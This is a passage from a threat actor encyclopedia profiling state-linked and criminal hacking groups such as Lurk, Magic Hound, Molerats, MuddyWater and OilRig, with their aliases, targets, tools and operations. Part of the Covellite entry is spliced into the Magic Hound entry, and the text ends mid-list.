Threat Actor Encyclopedia Lurk Names Lurk (Kaspersky) Country Russia Motivation Financial gain Description (Kaspersky) When we first encountered Lurk, in 2011, it was a nameless Trojan. It all started when we became aware of a number of incidents at several Russian banks that had resulted in the theft of large sums of money from customers. To steal the money, the unknown criminals used a hidden malicious program that was able to interact automatically with the financial institution s remote banking service (RBS) software; replacing bank details in payment orders generated by an accountant at the attacked organization, or even generating such orders by itself. In 2016, it is hard to imagine banking software that does not demand some form of additional authentication, but things were different back in 2011. In most cases, the attackers only had to infect the computer on which the RBS software was installed in order to start stealing the cash. Russia s banking system, like those of many other countries, was unprepared for such attacks, and cybercriminals were quick to exploit the security gap. So we decided to take a closer look at the malware. The first attempts to understand how the program worked gave our analysts nothing. Regardless of whether it was launched on a virtual or a real machine, it behaved in the same way: it didn t do anything. This is how the program, and later the group behind it, got its name. To lurk means to hide, generally with the intention of ambush. We were soon able to help investigate another incident involving Lurk. This time we got a chance to explore the image of the attacked computer. There, in addition to the familiar malicious program, we found a .dll file with which the main executable file could interact. This was our first piece of evidence that Lurk had a modular structure. Later discoveries suggest that, in 2011, Lurk was still at an early stage of development. It was formed of just two components, a number that would grow considerably over the coming years. Observed Sectors: Financial and Media. Countries: Russia. Tools used Lurk. Counter operations Information Russia arrests 50, shuts down 5-year, $25m cyber bank robbery (2016) Threat Group Cards: A Threat Actor Encyclopedia Mabna Institutem, Silent Librarian Names Mabna Institute (real name) Silent Librarian (SecureWorks) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description According to the Treasury Department, since 2013, the Mabna Institute hit 144 US universities and 176 universities in 21 foreign countries. Geoffrey Berman, US Attorney for the Southern District of New York revealed that the spear phishing campaign targeted more than 100,000 university professors worldwide and about 8,000 accounts were compromised. The Iranian hackers exfiltrated 31 terabytes, roughly 15 billion pages of academic projects were stolen. The hackers also targeted the US Department of Labor, the US Federal Energy Regulatory Commission, and many private and non-governmental organizations. The sanctions also hit the Mabna Institute, an Iran-based company that had a critical role in coordinating the attacks on behalf of Iran s Revolutionary Guards. Observed Sectors: Universities. Countries: Australia, Canada, China, Israel, Japan, Switzerland, Turkey, UK and USA. Tools used Operations performed Aug 2018 Counter operations Operation Cobalt Dickens Despite indictments in March 2018, the Iranian threat group is likely responsible for a large-scale campaign that targeted university credentials using the same spoofing tactics as previous attacks. In August 2018, members of university communities worldwide may have been providing access to more than just homework assignments. Secureworks Counter Threat Unit (CTU) researchers discovered a URL spoofing a login page for a university. Further research into the IP address hosting the spoofed page revealed a broader campaign to steal credentials. Sixteen domains contained over 300 spoofed websites and login pages for 76 universities located in 14 countries, including Australia, Canada, China, Israel, Japan, Switzerland, Turkey, the United Kingdom, and the United States. Nine Iranians Charged With Conducting Massive Cyber Theft Campaign on Behalf of the Islamic Revolutionary Guard Corps (2018) Threat Group Cards: A Threat Actor Encyclopedia Madi Names Madi (Kaspersky) Mahdi (Kaspersky) Country Iran Motivation Information theft and espionage Description (Kaspersky) Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems. Observed Sectors: Education, Engineering, Financial, Government, Oil and gas and Think Tanks. Countries: Australia, Ecuador, Greece, Iran, Iraq, Israel, Mozambique, New Zealand, Pakistan, Saudi Arabia, Switzerland, USA and Vietnam. Tools used Madi. Operations performed Jul 2012 Counter operations The C&C servers have been sinkholed by Kaspersky and Seculert. Information New and Improved Madi Spyware Campaign Continues Madi, the religiously-titled spyware that was discovered last week and thought to be dead, appears to be making a comeback, complete with updates. Threat Group Cards: A Threat Actor Encyclopedia Magic Hound, APT 35, Cobalt Gypsy, Rocket Kitten Names Magic Hound (Palo Alto) APT 35 (Mandiant) Cobalt Gypsy (SecureWorks) Rocket Kitten (CrowdStrike) TEMP.Beanie (FireEye) Timberworm (Symantec) Tarh Andishan (Cylance) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description Magic Hound is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. This group appears to be the evolvement of Covellite Names Covellite (Dragos) Country North Korea Motivation Information theft and espionage Description (Dragos) Covellite compromises networks associated with civilian electric energy worldwide and gathers intelligence on intellectual property and internal industrial operations. Covellite lacks an industrial control system (ICS) specific capability at this time. Covellite operates globally with targets primarily in Europe, East Asia, and North America. US targets emerged in September 2017 with a small, targeted phishing campaign directed at select U.S. electric companies. The phishing emails contained a malicious Microsoft Word document and infected computers with malware. The malicious emails discovered in the fall masqueraded as resumes or invitations. They delivered a remote access tool (RAT) payload which was used to conduct reconnaissance and enable persistent, covert access to victims machines. Covellite s infrastructure and malware are similar to the hacking organization known as Lazarus Group, Hidden Cobra, Labyrinth Chollima by Novetta and Hidden Cobra by the U.S. Department of Homeland Security. Lazarus Group is responsible for attacks ranging from the 2014 attack on Sony Pictures to a number of Bitcoin heists in 2017. Technical analysis of Covellite malware indicates an evolution from known Lazarus toolkits. However, aside from technical overlap, it is not known how the capabilities and operations between Covellite and Lazarus are related. Covellite remains active but appears to have abandoned North American targets, with indications of activity in Europe and East Asia. Given the group s specific interest in infrastructure operations, rapidly improving capabilities, and history of aggressive targeting, Dragos considers this group a primary threat to the ICS industry. Threat Group Cards: A Threat Actor Encyclopedia Observed Sectors: Energy. Countries: East Asia, Europe and USA. Tools used Information Cutting Kitten, TG-2889. Observed Sectors: Energy, Government and Technology sectors that are either based or have business interests in Saudi Arabia. Countries: Afghanistan, Canada, Egypt, Iran, Iraq, Israel, Jordan, Kuwait, Morocco, Pakistan, Saudi Arabia, Spain, Syria, Turkey, UAE, UK, Venezuela and Yemen Tools used CWoolger, DistTrack, FileMalv, Ghambar, Ghole, Havij, Leash, Matryoshka RAT, Mimikatz, MPKBot, NETWoolger, PupyRAT, sqlmap, TDTESS and Woolger. Operations performed Mid-2014 Operation Thamar Reservoir This report reviews an ongoing cyber-attack campaign dating back to mid-2014. Additional sources indicate it may date as far back as 2011. We call this campaign Thamar Reservoir, named after one of the targets, Thamar E. Gindin, who exposed new information about the attack and is currently assisting with the investigation. Feb 2015 Operation Woolen-GoldFish 2016 Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound. This appears to be an attack campaign focused on espionage. Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks. Jan 2017 PupyRAT campaign SecureWorks Counter Threat Unit (CTU) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017. Some of messages were sent from legitimate email addresses belonging to several Middle Eastern organizations. 2017 The Curious Case of Mia Ash In early 2017, SecureWorks Counter Threat Unit (CTU) researchers observed phishing campaigns targeting several entities in the Middle East and North Africa (MENA), with a focus on Saudi Arabian organizations. The campaigns delivered PupyRAT, an open-source cross-platform remote access Trojan. Threat Group Cards: A Threat Actor Encyclopedia Counter operations Information MITRE ATT&CK Microsoft slaps down 99 APT35/Charming Kitten domains (2019) Threat Group Cards: A Threat Actor Encyclopedia Moafee Names Moafee (FireEye) Country China Motivation Information theft and espionage Description Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (FireEye) The attack group Moafee (named after their command and control infrastructure) appears to operate out of the Guangdong province in China and is known to target the governments and military organizations of countries with national interests in the South China Sea. The seas in this region have multiple claims of sovereignty and hold high significance, as it is the second busiest sealane in the world and are known to be rich in resources such as rare earth metals, crude oil, and natural gas. We have also observed the Moafee group target organizations within the US defense industrial base. Observed Sectors: Defense and Government. Countries: USA and countries with national interests in the South China Sea. Tools used HTRAN, Mongall, NewCT2, Nflog and Poison Ivy. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Mofang Names Mofang (Fox-IT) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (Fox-IT) Mofang is a threat actor that almost certainly operates out of China and is probably government-affiliated. It is highly likely that Mofang s targets are selected based on involvement with investments, or technological advances that could be perceived as a threat to the Chinese sphere of influence. This is most clearly the case in a campaign focusing on government and critical infrastructure of Myanmar that is described in this report. Chances are about even, though, that Mofang is a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved. In addition to the campaign in Myanmar, Mofang has been observed to attack targets across multiple sectors (government, military, critical infrastructure and the automotive and weapon industries) in multiple countries. Observed Sectors: Automotive, Critical infrastructure, Defense, Government and weapon industries. Countries: Canada, Germany, India, Myanmar, Singapore, South Korea and USA. Tools used ShimRAT, ShimRatReporter and Superman. Information Threat Group Cards: A Threat Actor Encyclopedia Molerats, Extreme Jackal, Gaza Cybergang Names Molerats (FireEye) Extreme Jackal (CrowdStrike) Gaza Cybergang (Kaspersky) Gaza Hackers Team (Kaspersky) Country Gaza Sponsor Hamas Motivation Information theft and espionage Description (Kaspersky) The Gaza cybergang is an Arabic-language, politically-motivated cybercriminal group, operating since 2012 and actively targeting the MENA (Middle East North Africa) region. The Gaza cybergang s attacks have never slowed down and its typical targets include government entities/embassies, oil and gas, media/press, activists, politicians, and diplomats. One of the interesting new facts, uncovered in mid-2017, is its discovery inside an oil and gas organization in the MENA region, infiltrating systems and pilfering data, apparently for more than a year. Observed Sectors: Aerospace, Defense, Embassies, Financial, Government, Oil and gas, journalists and software developers. Countries: China, Egypt, Iran, Iraq, Israel, Jordan, Latvia, Libya, Macedonia, New Zealand, Palestine, Saudi Arabia, Slovenia, Turkey, UAE, UK, USA and Yemen, the BBC and the Office of the Quartet Representative. Tools used DustySky, Molerat Loader, NeD Worm, njRAT, Poison Ivy, Scote and XtremeRAT. Operations performed Jan 2012 Defacement of Israel fire service website Hackers claiming to be from the Gaza Strip defaced the website of the Israel Fire and Rescue services, posting a message saying Death to Israel, a spokesman said on Friday. Oct 2012 Operation Molerats In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well and as discovered later, even the U.S. and UK governments. Jun 2013 We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control (CnC) infrastructure used by the Molerats attackers. Apr 2014 Between 29 April and 27 May, FireEye Labs identified several new Molerats attacks targeting at least one major U.S. financial institution and multiple, European government organizations. Threat Group Cards: A Threat Actor Encyclopedia Summer 2014 Attacks against Israeli & Palestinian interests The decoy documents and filenames used in the attacks suggest the intended targets include organizations with political interests or influence in Israel and Palestine. 2014 Operation Moonlight Vectra Threat Labs researchers have uncovered the activities of a group of individuals currently engaged in targeted attacks against entities in the Middle East. We identified over 200 samples of malware generated by the group over the last two years. These attacks are themed around Middle Eastern political issues and the motivation appears to relate to espionage, as opposed to opportunistic or criminal intentions. May 2015 One interesting new fact about Gaza Cybergang activities is that they are actively sending malware files to IT (Information Technology) and IR (Incident Response) staff; this is also obvious from the file names they are sending to victims, which reflect the IT functions or IR tools used in cyberattack investigations. Sep 2015 Operation DustySky These attacks are targeted, but not spear-phished. I.e., malicious email messages are sent to selected targets rather than random mass distribution, but are not tailored specifically to each and every target. Dozens of targets may receive the exact same message. The email message and the lure document are written in Hebrew, Arabic or English depending on the target audience. Targeted sectors include governmental and diplomatic institutions, including embassies; companies from the aerospace and defense Industries; financial institutions; journalists; software developers. The attackers have been targeting software developers in general, using a fake website pretending to be a legitimate iOS management software, and linking to it in an online freelancing marketplace. Apr 2016 Operation DustySky Part 2 Attacks against all targets in the Middle East stopped at once, after we published our first report. However, the attacks against targets in the Middle East (except Israel) were renewed in less than 20 days. In the beginning of April 2016, we found evidence that the attacks against Israel have been renewed as well. Based on the type of targets, on Gaza being the source of the attacks, and on the type of information the attackers are after we estimate with medium-high certainty that the Hamas terrorist organization is behind these attacks. Threat Group Cards: A Threat Actor Encyclopedia Nov 2016 PwC analysts have been tracking the same malware campaign, which has seen a noticeable spike since at least April 2016. The attackers have targeted Arabic news websites, political figures and other targets that possess influence in the Palestinian territories and other neighbouring Arab countries. Our investigation began by analysing around 20 executable files associated with the attacks. Several of these files opened decoy documents and audio files, which were exclusively in Arabic-language. Mid-2017 New targets, use of MS Access Macros and CVE 2017-0199, and possible mobile espionage One of the interesting new facts, uncovered in mid-2017, is its discovery inside an oil and gas organization in the MENA region, infiltrating systems and pilfering data, apparently for more than a year. Another interesting finding is the use of the recently discovered CVE 2017-0199 vulnerability, and Microsoft Access files into which the download scripts were embedded to reduce the likelihood of their detection. Traces of mobile malware that started to appear from late April 2017, are also being investigated. Sep 2017 TopHat Campaign In recent months, Palo Alto Networks Unit 42 observed a wave of attacks leveraging popular third-party services Google+, Pastebin, and bit.ly. The attacks we found within the TopHat campaign began in early September 2017. In a few instances, original filenames of the identified samples were written in Arabic. Feb 2019 New Attack in the Middle East Recently, 360 Threat Intelligence Center captured a bait document designed specifically for Arabic users. It is an Office Word document with malicious macros embedded to drop and execute a backdoor packed by Enigma Virtual Box. The backdoor program has a built-in keyword list containing names of people or opera movies to communicate with C2, distributes control commands to further control the victim s computer device. After investigation, we suspect this attack is carried out by Molerats. Apr 2019 SneakyPastes Campaign The campaign is multistage. It begins with phishing, using letters from one-time addresses and one-time domains. Sometimes the letters contain links to malware or infected attachments. If the victim executes the attached file (or follows the link), their device receives Stage One malware programmed to activate the infection chain. Threat Group Cards: A Threat Actor Encyclopedia MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia MoneyTaker Names MoneyTaker (Group-IB) Country Russia Motivation Financial gain Description (Group-IB) In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group. Although the group has been successful at targeting a number of banks in different countries, to date, they have gone unreported. In addition to banks, the MoneyTaker group has attacked law firms and also financial software vendors. In total, Group-IB has confirmed 20 companies as MoneyTaker victims, with 16 attacks on US organizations, 3 attacks on Russian banks and 1 in the UK. Observed Sectors: Financial. Countries: Russia, UK and USA. Tools used Citadel, Kronos, Metasploit, MoneyTaker and Screenshotter. Information Threat Group Cards: A Threat Actor Encyclopedia MuddyWater, Seedworm, TEMP.Zagros, Static Kitten Names MuddyWater (Palo Alto) Seedworm (Symantec) TEMP.Zagros (FireEye) Static Kitten (CrowdStrike) Country Iran Motivation Information theft and espionage Description (Reaqta) MuddyWater is an APT group that has been active throughout 2017, targeting victims in Middle East with in-memory vectors leveraging on Powershell, in a family of attacks now identified as Living off the land , as they don t require the creation of new binaries on the victim s machine, thus maintaining a low detection profile and a low forensic footprint. The operators behind MuddyWater are likely espionage motivated, we derive this information from the analysis of data and backdoors behaviors. We also find that despite the strong preponderance of victims from Pakistan, the most active targets appear to be in: Saudi Arabia, UAE and Iraq. Amongst the victims we identify a variety of entities with a stronger focus at Governments, Telcos and Oil companies. By tracking the operations we finally figure out that the originating country is likely to be Iran, while it remains harder to ascertain whether MuddyWater is state sponsored or a criminal organization incline to espionage. Observed Sectors: Defense, Education, Food, Gaming, Government, IT, Media, NGOs, Oil and gas, Telecommunications and Transportation. Countries: Afghanistan, Armenia, Bahrein, Belarus, Egypt, Georgia, India, Iraq, Israel, Jordan, Lebanon, Mali, Netherlands, Oman, Pakistan, Russia, Saudi Arabia, Tajikistan, Tunisia, Turkey, UAE, Ukraine and USA. Tools used ChromeCookiesView, chrome-passwords, CLOUDSTATS, CrackMapExec, DELPHSTATS, EmpireProject, FruityC2, Koadic, LaZagne, Meterpreter, Mimikatz. MZCookiesView, PowerSploit, POWERSTATS, SHARPSTATS, Shoorback and Smbmap. Operations performed Feb 2017 The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. Jan 2018 Updated Tactics, Techniques and Procedures in Spear Phishing Campaign We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. Mar 2018 Campaign Possibly Connected to MuddyWater Surfaces in the Middle East and Central Asia We discovered a new campaign targeting organizations in Turkey, Pakistan and Tajikistan that has some similarities with an earlier Threat Group Cards: A Threat Actor Encyclopedia campaign named MuddyWater, which hit various industries in several countries, primarily in the Middle East and Central Asia. May 2018 Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor In May 2018, we found a new sample (Detected as W2KM_DLOADR.UHAOEEN) that may be related to this campaign. Like the previous campaigns, these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell (PS) scripts leading to a backdoor payload. One notable difference in the analyzed samples is that they do not directly download the Visual Basic Script(VBS) and PowerShell component files, and instead encode all the scripts on the document itself. The scripts will then be decoded and dropped to execute the payload without needing to download the component files. May 2018 We recently noticed a large amount of spear phishing documents that appear to be targeting government bodies, military entities, telcos and educational institutions in Jordan, Turkey, Azerbaijan and Pakistan, in addition to the continuous targeting of Iraq and Saudi Arabia, other victims were also detected in Mali, Austria, Russia, Iran and Bahrain.. These new documents have appeared throughout 2018 and escalated from May onwards. The attacks are still ongoing. Sep 2018 Group remains highly active with more than 130 victims in 30 organizations hit since September 2018. Seedworm s motivations are much like many cyber espionage groups that we observe they seek to acquire actionable information about the targeted organizations and individuals. They accomplish this with a preference for speed and agility over operational security, which ultimately led to our identification of their key operational infrastructure. Nov 2018 Operations in Lebanon and Oman MuddyWater has recently been targeting victims likely from Lebanon and Oman, while leveraging compromised domains, one of which is owned by an Israeli web developer. The investigation aimed to uncover additional details regarding the compromise vector. Further, we wished to determine the infection vector, which is currently unknown. With that in mind, past experience implies that this might be a two-stage spear-phishing campaign. Apr 2019 Targeting Kurdish Political Groups and Organizations in Turkey However, unlike the previous vector, we did not identify this time any compromised servers used to host the malware s code. Instead, the lure document already contains the malicious code. We also detected Threat Group Cards: A Threat Actor Encyclopedia five additional files that operate in a similar file to the aforementioned document; but unlike that file, these do not have any content. Apr 2019 The Iranian APT, MuddyWater, has been active since at least 2017. Most recently though, a new campaign, targeting Belarus, Turkey and Ukraine, has emerged that caught the attention of Check Point researchers. Apr 2019 Operation BlackWater Newly associated samples from April 2019 indicate attackers have added three distinct steps to their operations, allowing them to bypass certain security controls and suggesting that MuddyWater s tactics, techniques and procedures (TTPs) have evolved to evade detection. Jun 2019 Clearsky has detected new and advanced attack vector used by MuddyWater to target governmental entities and the telecommunication sector. Notably, the TTP includes decoy documents exploiting CVE-2017-0199 as the first stage of the attack. This is followed by the second stage of the attack communication with the hacked C2 servers and downloading a file infected with the macros. Jun 2019 We came across new campaignsthat seem to bear the markings of MuddyWater a threat actor group with a history of targeting organizations in Middle Eastern and Asian countries. The group used new tools and payloads in campaigns over the first half of 2019, pointing to the continued work the group has put in since our last report on MuddyWaterin November 2018. Counter operations Information MITRE ATT&CK New leaks of Iranian cyber-espionage operations hit Telegram and the Dark Web (2019) Threat Group Cards: A Threat Actor Encyclopedia Mustang Panda Names Mustang Panda (CrowdStrike) Country China Motivation Information theft and espionage Description (CrowdStrike) In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from Mustang Panda, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, Mustang Panda actors reused previously-observed legitimate domains to host files. Observed US Think Tank. NGOs in Mongolia. Tools used PlugX and Poison Ivy. Information Threat Group Cards: A Threat Actor Encyclopedia Naikon, Lotus Panda Names Naikon (Kaspersky) Hellsing (Kaspersky) Lotus Panda (CrowdStrike) Country China Sponsor State-sponsored, PLA Unit 78020 Motivation Information theft and espionage Description Naikon is a threat group that has focused on targets around the South China Sea. The group has been attributed to the Chinese People s Liberation Army s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). While Naikon shares some characteristics with APT 30, the two groups do not appear to be exact matches. Observed Sectors: Defense, Energy, Government, Law Enforcement and Media. Countries: Cambodia, China, India, Indonesia, Laos, Malaysia, Myanmar, Nepal, Philippines, Saudi Arabia, Singapore, South Korea, Thailand, USA and Vietnam. Tools used Hdoor, Naikon, JadeRAT, NewCore RAT, PlugX, RARSTONE, Sisfader, SslMM, Sys10, Systeminfo, Tasklist, TeamViewer, WinMM and xsPlus. Operations performed 2012 Naikon downloader/backdoor 2013 MsnMM Campaigns Feb 2013 BKDR_RARSTONE RAT Last year, we reported about PlugX a breed of Remote Access Trojan (RAT) used in certain high-profile APT campaigns. We also noted some of its noteworthy techniques, which include its capability to hide its malicious codes by decrypting and loading a backdoor executable file directly into memory, without the need to drop the actual executable file Recently, we uncovered a RAT using the same technique. The new sample detected by Trend Micro as BKDR_RARSTONE.A is similar (but not) PlugX, as it directly loads a backdoor file in memory without dropping any file . However, as we proceeded with our analysis, we found that BKDR_RARSTONE has some tricks of its own. Mar 2014 Campaign in the wake of the MH370 tragedy By March 11th, the Naikon group was actively hitting most of the nations involved in the search for MH370. The targets were extremely wide-ranging but included institutions with access to information related to the disappearance of MH370. Sep 2015 Operation CameraShy Threat Group Cards: A Threat Actor Encyclopedia Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Neodymium Names Neodymium (Microsoft) Country [Unknown] Motivation Information theft and espionage Description Neodymium is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called Promethium due to overlapping victim and campaign characteristics. Neodymium is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Microsoft) Neodymium is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks. Observed Countries: Europe. Tools used Wingbird. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia NetTraveler, APT 21 Names NetTraveler (Kaspersky) APT 21 (Mandiant) Country China Motivation Information theft and espionage Description (Kaspersky) Over the last few years, we have been monitoring a cyber-espionage campaign that has successfully compromised more than 350 high profile victims in 40 countries. The main tool used by the threat actors during these attacks is NetTraveler, a malicious program used for covert computer surveillance. The name NetTraveler comes from an internal string which is present in early versions of the malware: NetTraveler Is Running! This malware is used by APT actors for basic surveillance of their victims. Earliest known samples have a timestamp of 2005, although references exist indicating activity as early as 2004. The largest number of samples we observed were created between 2010 and 2013. Observed Sectors: Defense, Embassies, Government, Oil and gas, Scientific research centers and institutes and Tibetan/Uyghur activists. Countries: Afganistan, Australia, Austria, Bangladesh, Belarus, Belgium, Cambodia, Canada, Chile, China, Germany, Greece, Hong Kong, India, Indonesia, Iran, Japan, Jordan, Kazakhstan, Kyrgyzstan, Lithuania, Malaysia, Mongolia, Morocco, Nepal, Pakistan, Qatar, Russia, Slovenia, South Korea, Spain, Suriname, Syria, Tajikistan, Thailand, Turkey, Turkmenistan, UK, Ukraine, USA and Uzbekistan. Tools used NetTraveler/TravNet and PlugX. Operations performed Aug 2014 NetTraveler Gets a Makeover for 10th Anniversary Most recently, the main focus of interest for cyber-espionage activities revolved around diplomatic (32%), government (19%), private (11%), military (9%), industrial and infrastructure (7%), airspace (6%), research (4%), activism (3%), financial (3%), IT (3%), health (2%) and press (1%). Dec 2015 Spear-Phishing Email Targets Diplomat of Uzbekistan Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China. A spearphishing email was sent to a diplomat of the Embassy of Uzbekistan who is likely based in Beijing, China. Information Threat Group Cards: A Threat Actor Encyclopedia Night Dragon Names Night Dragon (McAfee) Country China Motivation Information theft and espionage Description (McAfee) Starting in November 2009, coordinated covert and targeted cyberattacks have been conducted against global oil, energy, and petrochemical companies. These attacks have involved social engineering, spear-phishing attacks, exploitation of Microsoft Windows operating systems vulnerabilities, Microsoft Active Directory compromises, and the use of remote administration tools (RATs) in targeting and harvesting sensitive competitive proprietary operations and projectfinancing information with regard to oil and gas field bids and operations. Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil, gas, and petrochemical companies, as well as individuals and executives in Kazakhstan, Taiwan, Greece, and the United States to acquire proprietary and highly confidential information. The primary operational technique used by the attackers comprised a variety of hacker tools, including privately developed and customized RAT tools that provided complete remote administration capabilities to the attacker. RATs provide functions similar to Citrix or Microsoft Windows Terminal Services, allowing a remote individual to completely control the affected system. To deploy these tools, attackers first compromised perimeter security controls, through SQL-injection exploits of extranet web servers, as well as targeted spear-phishing attacks of mobile worker laptops, and compromising corporate VPN accounts to penetrate the targeted company defensive architectures (DMZs and firewalls) and conduct reconnaissance of targeted companies networked computers. Observed Sectors: Energy, Oil and gas and Petrochemical. Countries: Greece, Kazakhstan, Netherlands, Taiwan and USA. Tools used ASPXSpy, Cain & Abel, gsecdump and zwShell. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Nightshade Panda, APT 9, Group 27 Names Nightshade Panda (CrowdStrike) APT 9 (Mandiant) Group 27 (ASERT) Country China Motivation Information theft and espionage Description (Softpedia) Arbor s ASERT team is now reporting that, after looking deeper at that particular campaign, and by exposing a new trail in the group s activities, they managed to identify a new RAT that was undetectable at that time by most antivirus vendors. Named Trochilus, this new RAT was part of Group 27 s malware portfolio that included six other malware strains, all served together or in different combinations, based on the data that needed to be stolen from each victim. This collection of malware, dubbed the Seven Pointed Dagger by ASERT experts, included two different PlugX versions, two different Trochilus RAT versions, one version of the 3012 variant of the 9002 RAT, one EvilGrab RAT version, and one unknown piece of malware, which the team has not entirely decloaked just yet. Observed Sectors: Energy and Government. Countries: Myanmar and Thailand. Tools used 9002 RAT, EvilGrab, MoonWind RAT, PlugX and Trochilus RAT. Operations performed Aug 2015 Operation Seven Pointed Dagger During that campaign, the threat actor identified as Group 27 used watering hole attacks on official Myanmar government websites to infect unsuspecting users with the PlugX malware (an RAT) when accessing information on the upcoming Myanmar elections. Sep 2016 From September 2016 through late November 2016, a threat actor group used both the Trochilus RAT and a newly idenfied RAT we named MoonWind to target organizations in Thailand, including a utility organization. We chose the name MoonWind based on debugging strings we saw within the samples, as well as the compiler used to generate the samples. The attackers compromised two legitimate Thai websites to host the malware, which is a tactic this group has used in the past. Threat Group Cards: A Threat Actor Encyclopedia Nitro, Covert Grove Names Nitro (Symantec) Covert Grove (Symantec) Country China Motivation Information theft and espionage Description (Symantec) The Nitro Attacks: Stealing Secrets from the Chemical Industry The attackers have changed their targets over time. From late April to early May, the attackers focused on human rights related NGOs. They then moved on to the motor industry in late May. From June until mid-July no activity was detected. At this point, the current attack campaign against the chemical industry began. This particular attack has lasted much longer than previous attacks, spanning two and a half months. A total of 29 companies in the chemical sector were confirmed to be targeted in this attack wave and another 19 in various other sectors, primarily the defense sector, were seen to be affected as well. These 48 companies are the minimum number of companies targeted and likely other companies were also targeted. In a recent two week period, 101 unique IP addresses contacted a command and control server with traffic consistent with an infected machine. These IPs represented 52 different unique Internet Service Providers or organizations in 20 countries. Observed Sectors: Chemical, Human Rights NGOs, Motor industry and Technology. Countries: Argentina, Bangladesh, Canada, China, Czech, Finland, France, Germany, Hong Kong, India, Japan, Netherlands, Norway, Russia, Singapore, South Korea, Sweden, Taiwan, UK and USA. Tools used Farfli, PCClient, Poison Ivy and Spindest. Operations performed Jul 2014 Information New Indicators of Compromise found Historically, Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware, which was not seen in these attacks. Since at least 2013, Nitro appears to have somewhat modified their malware and delivery methods to include Spindest and legitimate compromised websites, as reported by Cyber Squared s TCIRT. Threat Group Cards: A Threat Actor Encyclopedia OilRig, APT 34, Helix Kitten Names OilRig (Palo Alto) APT 34 (FireEye) Helix Kitten (CrowdStrike) Twisted Kitten (CrowdStrike) Crambus (Symantec) Chrysene (Dragos) Country Iran Motivation Information theft and espionage Description OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. This group was previously tracked under two distinct groups, APT 34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. OilRig seems to be closely related to APT 33, Elfin. Observed Sectors: Chemical, Energy, Financial, Government and Telecommunications. Countries: Iraq, Israel, Kuwait, Lebanon, Pakistan, Qatar, Saudi Arabia. Turkey, UAE, UK and USA. Tools used Alma Communicator, BONDUPDATER, certutil, DistTrack, Fox Panel, Glimpse, GoogleDrive RAT, Helminth, HighShell, HyperShell, IRN2, ISMAgent, ISMDoor, ISMInjector, Jason, LaZagne, Mimikatz, OopsIE, PoisonFrog, POWRUNER, QUADAGENT, RGDoor, 